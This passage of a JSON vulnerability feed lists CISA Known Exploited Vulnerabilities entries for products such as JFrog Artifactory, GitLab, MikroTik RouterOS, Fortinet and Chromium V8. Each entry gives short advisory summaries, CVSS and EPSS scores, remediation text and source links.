CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-76461","asOf":"2026-09-18T12:10:27.392Z"},"epss":{"probability":0.29543,"percentile":0.98174,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-76461&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-76461","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-09-14","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-76461 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-76461&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-76461, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA cisco","url":"https://cveawg.mitre.org/api/cve/CVE-2026-76461","type":"primary","publishedAt":"2026-09-14T16:09:07.839Z","checkedAt":"2026-10-26T15:05:57.265Z","supports":"The published CVE-2026-76461 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:05:57.265Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42016","cveId":"CVE-2026-42016","aliases":[],"kind":"vulnerability","title":"JFrog Artifactory Incorrect Authorization Vulnerability","summary":"JFrog Artifactory contains an incorrect authorization vulnerability that leads to a privilege escalation attack due to a validation check of the token signature/issuer and not the token’s scope.","detail":"CISA added this entry on 2026-09-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-09-11","updatedAt":null,"regions":["Global"],"vendor":"JFrog","product":"Artifactory","stacks":["JFrog","Artifactory"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-09-11","dueAt":"2026-09-25","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-42016","asOf":"2026-07-27T19:20:56.352Z"},"epss":{"probability":0.08643,"percentile":0.95073,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-42016&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-42016","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-09-11","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-42016 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-42016&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-42016, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA JFROG","url":"https://cveawg.mitre.org/api/cve/CVE-2026-42016","type":"primary","publishedAt":"2026-07-27T19:20:56.352Z","checkedAt":"2026-10-26T15:21:08.787Z","supports":"The published CVE-2026-42016 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:21:08.787Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42018","cveId":"CVE-2026-42018","aliases":[],"kind":"vulnerability","title":"JFrog Artifactory Improper Authentication Vulnerability","summary":"JFrog Artifactory contains an improper authentication vulnerability that could return an internal anonymous-user token to an unauthenticated caller when anonymous access is disabled, potentially exposing sensitive resources.","detail":"CISA added this entry on 2026-09-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-09-11","updatedAt":null,"regions":["Global"],"vendor":"JFrog","product":"Artifactory","stacks":["JFrog","Artifactory"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-09-11","dueAt":"2026-09-25","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-42018","asOf":"2026-08-18T18:14:10.646Z"},"epss":{"probability":0.09805,"percentile":0.95513,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-42018&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-42018","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-09-11","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-42018 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-42018&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-42018, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA JFROG","url":"https://cveawg.mitre.org/api/cve/CVE-2026-42018","type":"primary","publishedAt":"2026-08-12T17:43:21.289Z","checkedAt":"2026-10-26T15:21:08.787Z","supports":"The published CVE-2026-42018 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:21:08.787Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-84869","cveId":"CVE-2026-84869","aliases":[],"kind":"vulnerability","title":"ConnectWise ScreenConnect Improper Privilege Management and Missing Authorization Vulnerability","summary":"ConnectWise ScreenConnect contains both an improper privilege management and missing authorization vulnerability that may allow an attacker to transfer and execute files through an active remote session without authorization or host confirmation.","detail":"CISA added this entry on 2026-09-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-09-11","updatedAt":null,"regions":["Global"],"vendor":"ConnectWise","product":"ScreenConnect","stacks":["ConnectWise","ScreenConnect"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-09-11","dueAt":"2026-09-14","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-84869","asOf":"2026-09-08T19:29:33.630Z"},"epss":{"probability":0.00924,"percentile":0.60172,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-84869&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-84869","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-09-11","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-84869 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-84869&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-84869, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA ConnectWise","url":"https://cveawg.mitre.org/api/cve/CVE-2026-84869","type":"primary","publishedAt":"2026-09-08T19:29:33.630Z","checkedAt":"2026-10-26T15:21:08.787Z","supports":"The published CVE-2026-84869 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:21:08.787Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85706","cveId":"CVE-2026-85706","aliases":[],"kind":"vulnerability","title":"GitLab Community Edition and Enterprise Edition Path Traversal Vulnerability","summary":"GitLab Community Edition and Enterprise Edition contains a path traversal vulnerability that allows an unauthenticated user to read arbitrary files due to an improper path confinement and missing authentication enforcement in the repository commits API.","detail":"CISA added this entry on 2026-09-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-09-11","updatedAt":null,"regions":["Global"],"vendor":"GitLab","product":"Community Edition and Enterprise Edition","stacks":["GitLab","Community Edition and Enterprise Edition"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-09-11","dueAt":"2026-09-14","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-85706","asOf":"2026-09-23T21:03:18.163Z"},"epss":{"probability":0.97355,"percentile":0.99897,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85706&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-85706","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-09-11","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-85706 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85706&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85706, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA GitLab","url":"https://cveawg.mitre.org/api/cve/CVE-2026-85706","type":"primary","publishedAt":"2026-09-12T02:46:31.624Z","checkedAt":"2026-10-26T15:21:08.787Z","supports":"The published CVE-2026-85706 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:21:08.787Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-67277","cveId":"CVE-2026-67277","aliases":[],"kind":"vulnerability","title":"MikroTik RouterOS Missing Authentication for Critical Function Vulnerability","summary":"MikroTik RouterOS contains a missing authentication for critical function vulnerability which allows kernel memory disclosure and denial of service in the btest service.","detail":"CISA added this entry on 2026-09-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-09-10","updatedAt":null,"regions":["Global"],"vendor":"MikroTik","product":"RouterOS","stacks":["MikroTik","RouterOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-09-10","dueAt":"2026-09-13","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":8.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-67277","asOf":"2026-09-05T20:39:44.166Z"},"epss":{"probability":0.0156,"percentile":0.75058,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-67277&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-67277","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-09-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-67277 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-67277&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-67277, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA CERT-PL","url":"https://cveawg.mitre.org/api/cve/CVE-2026-67277","type":"primary","publishedAt":"2026-09-05T20:00:56.614Z","checkedAt":"2026-10-26T15:21:08.787Z","supports":"The published CVE-2026-67277 document's CNA supplies this CVSS 4.0 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:21:08.787Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-86060","cveId":"CVE-2026-86060","aliases":[],"kind":"vulnerability","title":"MikroTik RouterOS Improper Neutralization of Argument Delimiters in a Command Vulnerability","summary":"MikroTik RouterOS contains an improper neutralization of argument delimiters in a command vulnerability which allows an attacker to change the trusted RouterOS policy mask, leading to privilege escalation.","detail":"CISA added this entry on 2026-09-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-09-10","updatedAt":null,"regions":["Global"],"vendor":"MikroTik","product":"RouterOS","stacks":["MikroTik","RouterOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-09-10","dueAt":"2026-09-13","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-86060","asOf":"2026-09-05T20:41:30.072Z"},"epss":{"probability":0.06392,"percentile":0.9362,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-86060&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-86060","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-09-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-86060 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-86060&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-86060, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA CERT-PL","url":"https://cveawg.mitre.org/api/cve/CVE-2026-86060","type":"primary","publishedAt":"2026-09-05T20:00:59.107Z","checkedAt":"2026-10-26T15:21:08.787Z","supports":"The published CVE-2026-86060 document's CNA supplies this CVSS 4.0 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:21:08.787Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-25249","cveId":"CVE-2025-25249","aliases":[],"kind":"vulnerability","title":"Fortinet Multiple Products Heap-based Buffer Overflow Vulnerability","summary":"Fortinet FortiOS, FortiSwitchManager, and FortiSASE contain a heap-based buffer overflow vulnerability that allows an attacker to execute unauthorized code or commands via specially crafted packets.","detail":"CISA added this entry on 2026-09-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-09-09","updatedAt":null,"regions":["Global"],"vendor":"Fortinet","product":"Multiple Products","stacks":["Fortinet","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-09-09","dueAt":"2026-09-12","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P/RL:W/RC:C","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2025-25249","asOf":"2026-02-23T08:51:58.404Z"},"epss":{"probability":0.03742,"percentile":0.89777,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-25249&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-25249","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-09-09","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-25249 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-25249&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-25249, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA fortinet","url":"https://cveawg.mitre.org/api/cve/CVE-2025-25249","type":"primary","publishedAt":"2026-01-13T16:32:35.662Z","checkedAt":"2026-10-26T15:21:08.787Z","supports":"The published CVE-2025-25249 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:21:08.787Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-20079","cveId":"CVE-2026-20079","aliases":[],"kind":"vulnerability","title":"Cisco Firewall Management Center Authentication Bypass Using an Alternate Path or Channel Vulnerability","summary":"Cisco Secure Firewall Management Center (FMC) Software and Cisco Security Cloud Control (SCC) Firewall Management contain an authentication Bypass using an alternate path or channel vulnerability that could allow an unauthenticated, remote attacker to bypass authentication and execute script files on an affected device to obtain root access to the underlying operating system.","detail":"CISA added this entry on 2026-09-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-09-09","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"Secure Firewall Management Center (FMC) and Security Cloud Control (SCC) Firewall Management","stacks":["Cisco","Secure Firewall Management Center (FMC) and Security Cloud Control (SCC) Firewall Management"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-09-09","dueAt":"2026-09-12","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-20079","asOf":"2026-09-16T20:08:37.499Z"},"epss":{"probability":0.88472,"percentile":0.99769,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-20079&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-20079","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-09-09","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-20079 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-20079&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-20079, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA cisco","url":"https://cveawg.mitre.org/api/cve/CVE-2026-20079","type":"primary","publishedAt":"2026-03-04T17:17:35.838Z","checkedAt":"2026-10-26T15:36:04.148Z","supports":"The published CVE-2026-20079 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:36:04.148Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87491","cveId":"CVE-2026-87491","aliases":[],"kind":"vulnerability","title":"Google Chromium V8 Out of Bounds Write Vulnerability","summary":"Google Chromium V8 contains an out of bounds write vulnerability that allows a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2026-09-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-09-09","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium V8","stacks":["Google Chrome","Google","Chromium V8"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-09-09","dueAt":"2026-09-23","action":"Apply mitigations in accordance with vendor instructions, 